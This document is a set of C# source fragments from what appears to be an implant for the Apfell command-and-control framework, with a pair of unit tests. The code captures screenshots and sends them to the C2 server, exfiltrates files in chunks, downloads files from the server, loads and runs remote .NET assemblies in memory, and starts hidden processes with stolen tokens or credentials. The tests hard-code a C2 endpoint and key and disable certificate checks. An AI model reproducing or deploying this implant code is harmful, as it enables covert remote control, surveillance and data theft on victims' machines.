public static void Execute(SCTask task, SCImplant implant) { if (task.command == "jobs") { task.status = "complete"; task.message = JsonConvert.SerializeObject(implant.jobs); } else if (task.command == "jobkill") { Thread t; foreach (Job j in implant.jobs) { if (j.shortId == Convert.ToInt32(task.@params)) { t = j.thread; try { t.Abort(); task.status = "complete"; task.message = $"Killed job {j.shortId}"; } catch (Exception e) { task.status = "error"; task.message = $"Error stopping job {j.shortId}: {e.Message}"; } } } } }
public void InitializeImplantValid() { // Necessary to disable certificate validation ServicePointManager.ServerCertificateValidationCallback = delegate { return(true); }; implant = new SCImplant { uuid = "3915d66f-e9a5-4912-8442-910e0cee74df", endpoint = "https://192.168.38.192/api/v1.3/", host = Dns.GetHostName(), ip = Dns.GetHostEntry(Dns.GetHostName()) // Necessary because the host may have more than one interface .AddressList.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork).ToString(), domain = Environment.UserDomainName, os = Environment.OSVersion.VersionString, architecture = "x64", pid = Process.GetCurrentProcess().Id, sleep = 5000, user = Environment.UserName, }; HTTP.crypto.PSK = Convert.FromBase64String("CqxQlHyWOSWJprgBA6aiKPP94lCSn8+Ki+gpMVdLNgQ="); Assert.IsTrue(implant.InitializeImplant()); }
// Same workflow as sending a file to Apfell server, but we only use one chunk private static void SendCapture(SCImplant implant, SCTask task, byte[] screenshot) { try // Try block for HTTP request { // Send total number of chunks to Apfell server // Number of chunks will always be one for screen capture task // Receive file ID in response SCTaskResp initial = new SCTaskResp(task.id, "{\"total_chunks\": " + 1 + ", \"task\":\"" + task.id + "\"}"); DownloadReply reply = JsonConvert.DeserializeObject <DownloadReply>(implant.PostResponse(initial)); Debug.WriteLine($"[-] SendCapture - Received reply, file ID: " + reply.file_id); // Convert chunk to base64 blob and create our FileChunk FileChunk fc = new FileChunk(); fc.chunk_num = 1; fc.file_id = reply.file_id; fc.chunk_data = Convert.ToBase64String(screenshot); // Send our FileChunk to Apfell server // Receive status in response SCTaskResp response = new SCTaskResp(task.id, JsonConvert.SerializeObject(fc)); Debug.WriteLine($"[+] SendCapture - CHUNK SENT: {fc.chunk_num}"); string postReply = implant.PostResponse(response); Debug.WriteLine($"[-] SendCapture - RESPONSE: {implant.PostResponse(response)}"); // Tell the Apfell server file transfer is done implant.SendComplete(task.id); } catch (Exception e) // Catch exceptions from HTTP requests { // Something failed, so we need to tell the server about it task.status = "error"; task.message = e.Message; } }
public static void Execute(SCTask task, SCImplant implant) { string path = task.@params; SharpSploitResultList <Host.FileSystemEntryResult> list; try { if (path != "") { list = Host.GetDirectoryListing(path); } else { list = Host.GetDirectoryListing(); } List <Dictionary <string, string> > fileList = new List <Dictionary <string, string> >(); foreach (Host.FileSystemEntryResult item in list) { FileInfo f = new FileInfo(item.Name); Dictionary <string, string> infoDict = new Dictionary <string, string>(); try { infoDict.Add("size", f.Length.ToString()); infoDict.Add("type", "file"); infoDict.Add("name", f.Name); fileList.Add(infoDict); } catch { infoDict.Add("size", "0"); infoDict.Add("type", "dir"); infoDict.Add("name", item.Name); fileList.Add(infoDict); } } SCTaskResp response = new SCTaskResp(task.id, JsonConvert.SerializeObject(fileList)); implant.PostResponse(response); implant.SendComplete(task.id); task.status = "complete"; task.message = fileList.ToString(); } catch (DirectoryNotFoundException) { Debug.WriteLine($"[!] DirectoryList - ERROR: Directory not found: {path}"); implant.SendError(task.id, "Error: Directory not found."); task.status = "error"; task.message = "Directory not found."; } catch (Exception e) { Debug.WriteLine($"DirectoryList - ERROR: {e.Message}"); implant.SendError(task.id, $"Error: {e.Message}"); task.status = "error"; task.message = e.Message; } }
public static void Execute(SCTask task, SCImplant implant) { try { implant.SendComplete(task.id); } catch (Exception e) { implant.SendError(task.id, e.Message); } Environment.Exit(0); }
/// <summary> /// Start a process using explicit credentials /// </summary> /// <param name="task"></param> /// <param name="implant"></param> /// <param name="Credentials"></param> public static void StartProcessWithCreds(SCTask task, SCImplant implant) { string[] split = [email protected]().Split(' '); string argString = string.Join(" ", split.Skip(1).ToArray()); ProcessStartInfo startInfo = new ProcessStartInfo { FileName = split[0], Arguments = argString, WorkingDirectory = "C:\\Temp", UseShellExecute = false, RedirectStandardOutput = true, // Ensure we get standard output CreateNoWindow = true, // Don't create a new window Domain = Token.Cred.Domain, UserName = Token.Cred.User, Password = Token.Cred.SecurePassword }; using (Process proc = new Process()) { proc.StartInfo = startInfo; try { Debug.WriteLine("[-] DispatchTask -> StartProcessWithCreds - Tasked to start process " + startInfo.FileName); proc.Start(); List <string> procOutput = new List <string>(); SCTaskResp response; while (!proc.StandardOutput.EndOfStream) { string line = proc.StandardOutput.ReadLine(); procOutput.Add(line); if (procOutput.Count >= 5) { response = new SCTaskResp(task.id, JsonConvert.SerializeObject(procOutput)); implant.PostResponse(response); procOutput.Clear(); } } proc.WaitForExit(); task.status = "complete"; task.message = JsonConvert.SerializeObject(procOutput); } catch (Exception e) { Debug.WriteLine("[!] DispatchTask -> StartProcess - ERROR starting process: " + e.Message); task.status = "error"; task.message = e.Message; } } }
public static void Execute(SCTask task, SCImplant implant) { JObject json = (JObject)JsonConvert.DeserializeObject(task.@params); string file_id = json.Value <string>("file_id"); string[] args = json.Value <string[]>("args"); byte[] assemblyBytes = Upload.GetFile(file_id, implant); Reflection.Assembly assembly = Reflection.Assembly.Load(assemblyBytes); string result = assembly.EntryPoint.Invoke(null, args).ToString(); implant.PostResponse(new SCTaskResp(task.id, result)); implant.SendComplete(task.id); }
public static void Execute(SCTask task, SCImplant implant) { Rectangle bounds = Screen.GetBounds(Point.Empty); Bitmap bm = new Bitmap(bounds.Width, bounds.Height); Graphics g = Graphics.FromImage(bm); g.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); using (MemoryStream ms = new MemoryStream()) { bm.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg); byte[] screenshot = ms.ToArray(); SendCapture(implant, task, screenshot); } }
public static void Execute(SCTask task, SCImplant implant) { JObject json = (JObject)JsonConvert.DeserializeObject(task.@params); string file_id = json.Value <string>("file_id"); string filepath = json.Value <string>("remote_path"); Debug.WriteLine("[-] Upload - Tasked to get file " + file_id); // If file exists, don't write file if (File.Exists(filepath)) { Debug.WriteLine($"[!] Upload - ERROR: File exists: {filepath}"); implant.SendError(task.id, "ERROR: File exists."); } else { // First we have to request the file from the server with a POST string fileEndpoint = implant.endpoint + "files/callback/" + implant.callbackId; try // Try block for HTTP request { string payload = "{\"file_id\": \"" + file_id + "\"}"; string result = HTTP.Post(fileEndpoint, payload); byte[] output = Convert.FromBase64String(result); try // Try block for writing file to disk { // Write file to disk File.WriteAllBytes(filepath, output); implant.SendComplete(task.id); Debug.WriteLine("[+] Upload - File written: " + filepath); } catch (Exception e) // Catch exceptions from file write { // Something failed, so we need to tell the server about it implant.SendError(task.id, e.Message); Debug.WriteLine("[!] Upload - ERROR: " + e.Message); } } catch (Exception e) // Catch exceptions from HTTP request { // Something failed, so we need to tell the server about it implant.SendError(task.id, e.Message); Debug.WriteLine("[!] Upload - ERROR: " + e.Message); } } }
public static byte[] GetFile(string file_id, SCImplant implant) { byte[] bytes; string fileEndpoint = implant.endpoint + "files/callback/" + implant.callbackId; try { string payload = "{\"file_id\": \"" + file_id + "\"}"; // Get response from server and decrypt string result = HTTP.Post(fileEndpoint, payload); bytes = Convert.FromBase64String(result); return(bytes); } catch { return(null); } }
// If we have a stolen token, we need to start a process with CreateProcessWithTokenW // Otherwise, we can use Process.Start public static void Execute(SCTask task, SCImplant implant) { if (implant.HasAlternateToken()) { StartProcessWithToken(task, implant); } else if (implant.HasCredentials() && Token.Cred.NetOnly == false) { StartProcessWithCreds(task, implant); } else if (implant.HasCredentials() && Token.Cred.NetOnly == true) { StartProcessWithLogon(task, implant); } else { StartProcess(task, implant); } }
public void InitializeImplantInvalidUUID() { // Necessary to disable certificate validation ServicePointManager.ServerCertificateValidationCallback = delegate { return(true); }; SCImplant invalidImplant = new SCImplant { uuid = "asdf", endpoint = "https://192.168.38.192/api/v1.3/", host = Dns.GetHostName(), ip = Dns.GetHostEntry(Dns.GetHostName()) // Necessary because the host may have more than one interface .AddressList.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork).ToString(), domain = Environment.UserDomainName, os = Environment.OSVersion.VersionString, architecture = "x64", pid = Process.GetCurrentProcess().Id, sleep = 5000, user = Environment.UserName }; Assert.IsFalse(invalidImplant.InitializeImplant()); }
public static void Execute(SCTask task, SCImplant implant) { string filepath = task.@params; try // Try block for file upload task { // Get file info to determine file size FileInfo fileInfo = new FileInfo(filepath); long size = fileInfo.Length; Debug.WriteLine($"[+] Download - DOWNLOADING: {filepath}, {size} bytes"); // Determine number of 512kb chunks to send long total_chunks = size / 512000; // HACK: Dumb workaround because longs don't have a ceiling operation if (total_chunks == 0) { total_chunks = 1; } Debug.WriteLine($"[+] Download - File size = {size} ({total_chunks} chunks)"); // Send number of chunks associated with task to Apfell server // Response will have the file ID to send file with SCTaskResp initial = new SCTaskResp(task.id, "{\"total_chunks\": " + total_chunks + ", \"task\": \"" + task.id + "\"}"); DownloadReply reply = JsonConvert.DeserializeObject <DownloadReply>(implant.PostResponse(initial)); Debug.WriteLine($"[-] Download - Received reply, file ID: " + reply.file_id); // Send file in chunks for (int i = 0; i < total_chunks; i++) { byte[] chunk = null; long pos = i * 512000; // We need to use a FileStream in case our file size in bytes is larger than an Int32 // With a filestream, we can specify a position as a long, and then use Read() normally using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { fs.Position = pos; // If this is the last chunk, size will be the remaining bytes if (i == total_chunks - 1) { chunk = new byte[size - (i * 512000)]; int chunkSize = chunk.Length; fs.Read(chunk, 0, chunkSize); } // Otherwise we'll read 512kb from the file else { chunk = new byte[512000]; fs.Read(chunk, 0, 512000); } } // Convert chunk to base64 blob and create our FileChunk FileChunk fc = new FileChunk(); fc.chunk_num = i; fc.file_id = reply.file_id; fc.chunk_data = Convert.ToBase64String(chunk); // Send our FileChunk to Apfell server SCTaskResp response = new SCTaskResp(task.id, JsonConvert.SerializeObject(fc)); Debug.WriteLine($"[+] Download - CHUNK SENT: {fc.chunk_num}"); Debug.WriteLine($"[-] Download - RESPONSE: {implant.PostResponse(response)}"); // Make sure we respect the sleep setting Thread.Sleep(implant.sleep); } // Tell the Apfell server file transfer is done implant.SendComplete(task.id); Debug.WriteLine($"[+] Download - File transfer complete: {filepath}"); } catch (Exception e) // Catch any exception from file upload { // Something failed, so we need to tell the server about it task.status = "error"; task.message = e.Message; } }
/// <summary> /// Start a process using a stolen token /// C#'s System.Diagnostics.Process doesn't respect a WindowsImpersonationContext so we have to use CreateProcessWithTokenW /// </summary> /// <param name="task"></param> /// <param name="implant"></param> /// <param name="TokenHandle"></param> public static void StartProcessWithToken(SCTask task, SCImplant implant) { string[] split; string argString; string file; if (task.command == "shell") { split = [email protected]().Split(' '); argString = string.Join(" ", split); file = "cmd /c"; } else { split = [email protected]().Split(' '); argString = string.Join(" ", split.Skip(1).ToArray()); file = split[0]; } // STARTUPINFO is used to control a few startup options for our new process Win32.Advapi32.STARTUPINFO startupInfo = new Win32.Advapi32.STARTUPINFO(); // Use C:\Temp as directory to ensure that we have rights to start our new process // TODO: determine if this is safe to change string directory = "C:\\Temp"; // Set security on anonymous pipe to allow any user to access PipeSecurity sec = new PipeSecurity(); sec.SetAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.FullControl, AccessControlType.Allow)); // TODO: Use anonymous pipes instead of named pipes using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 1024, sec)) using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) { try { startupInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle(); startupInfo.hStdError = pipeClient.SafePipeHandle.DangerousGetHandle(); // STARTF_USESTDHANDLES ensures that the process will respect hStdInput/hStdOutput // STARTF_USESHOWWINDOW ensures that the process will respect wShowWindow startupInfo.dwFlags = (uint)Win32.Advapi32.STARTF.STARTF_USESTDHANDLES | (uint)Win32.Advapi32.STARTF.STARTF_USESHOWWINDOW; startupInfo.wShowWindow = 0; // Create PROCESS_INFORMATION struct to hold info about the process we're going to start Win32.Advapi32.PROCESS_INFORMATION newProc = new Win32.Advapi32.PROCESS_INFORMATION(); // Finally, create our new process bool createProcess = Win32.Advapi32.CreateProcessWithTokenW( Token.stolenHandle, // hToken IntPtr.Zero, // dwLogonFlags null, // lpApplicationName file + " " + argString, // lpCommandLineName IntPtr.Zero, // dwCreationFlags IntPtr.Zero, // lpEnvironment directory, // lpCurrentDirectory ref startupInfo, // lpStartupInfo out newProc); // lpProcessInformation Thread.Sleep(100); // Something weird is happening if the process exits before we can capture output if (createProcess) // Process started successfully { Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Created process with PID " + newProc.dwProcessId); SCTaskResp procStatus = new SCTaskResp(task.id, "Created process with PID " + newProc.dwProcessId); implant.PostResponse(procStatus); // Trying to continuously read output while the process is running. using (StreamReader reader = new StreamReader(pipeServer)) { SCTaskResp response; string message = null; List <string> output = new List <string>(); try { Process proc = Process.GetProcessById(newProc.dwProcessId); // We can use Process.HasExited() with this object while (!proc.HasExited) { // Will sometimes hang on ReadLine() for some reason, not sure why // Workaround for this is to time out if we don't get a result in ten seconds Action action = () => { try { message = reader.ReadLine(); } catch { // Fail silently if reader no longer exists // May happen if long running job times out? } }; IAsyncResult result = action.BeginInvoke(null, null); if (result.AsyncWaitHandle.WaitOne(300000)) { if (message != "" && message != null) { output.Add(message); if (output.Count >= 5) // Wait until we have five lines to send { response = new SCTaskResp(task.id, JsonConvert.SerializeObject(output)); implant.PostResponse(response); output.Clear(); Thread.Sleep(implant.sleep); } } } else { throw new Exception("Timed out while reading named pipe."); } } } catch (Exception e) { // Sometimes process may exit before we get this object back if (e.Message == "Timed out while reading named pipe.") // We don't care about other exceptions { throw e; } } Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Process with PID " + newProc.dwProcessId + " has exited"); pipeClient.Close(); while (reader.Peek() > 0) // Check if there is still data in the pipe { message = reader.ReadToEnd(); // Ensure we get any output that we missed when loop ended foreach (string msg in message.Split(new[] { Environment.NewLine }, StringSplitOptions.None)) { output.Add(msg); } } if (output.Count > 0) { task.status = "complete"; output.Add("Execution complete."); task.message = JsonConvert.SerializeObject(output); output.Clear(); } else { task.status = "complete"; task.message = "Execution complete."; } } pipeServer.Close(); } else { string errorMessage = Marshal.GetLastWin32Error().ToString(); Debug.WriteLine("[!] DispatchTask -> StartProcessWithToken - ERROR starting process: " + errorMessage); pipeClient.Close(); pipeServer.Close(); task.status = "error"; task.message = errorMessage; } } catch (Exception e) { pipeClient.Close(); pipeServer.Close(); task.status = "error"; task.message = e.Message; } } }